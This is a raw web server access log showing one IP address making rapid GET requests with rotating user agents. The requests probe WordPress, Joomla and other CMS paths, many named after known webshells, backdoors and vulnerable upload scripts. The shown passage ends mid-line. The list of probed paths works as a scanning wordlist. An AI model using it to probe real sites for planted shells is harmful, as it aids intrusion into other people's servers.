- - [17/Apr/2026:14:45:03 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:04 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:05 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:06 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:07 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:08 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:09 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:10 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:11 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:45:12 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) 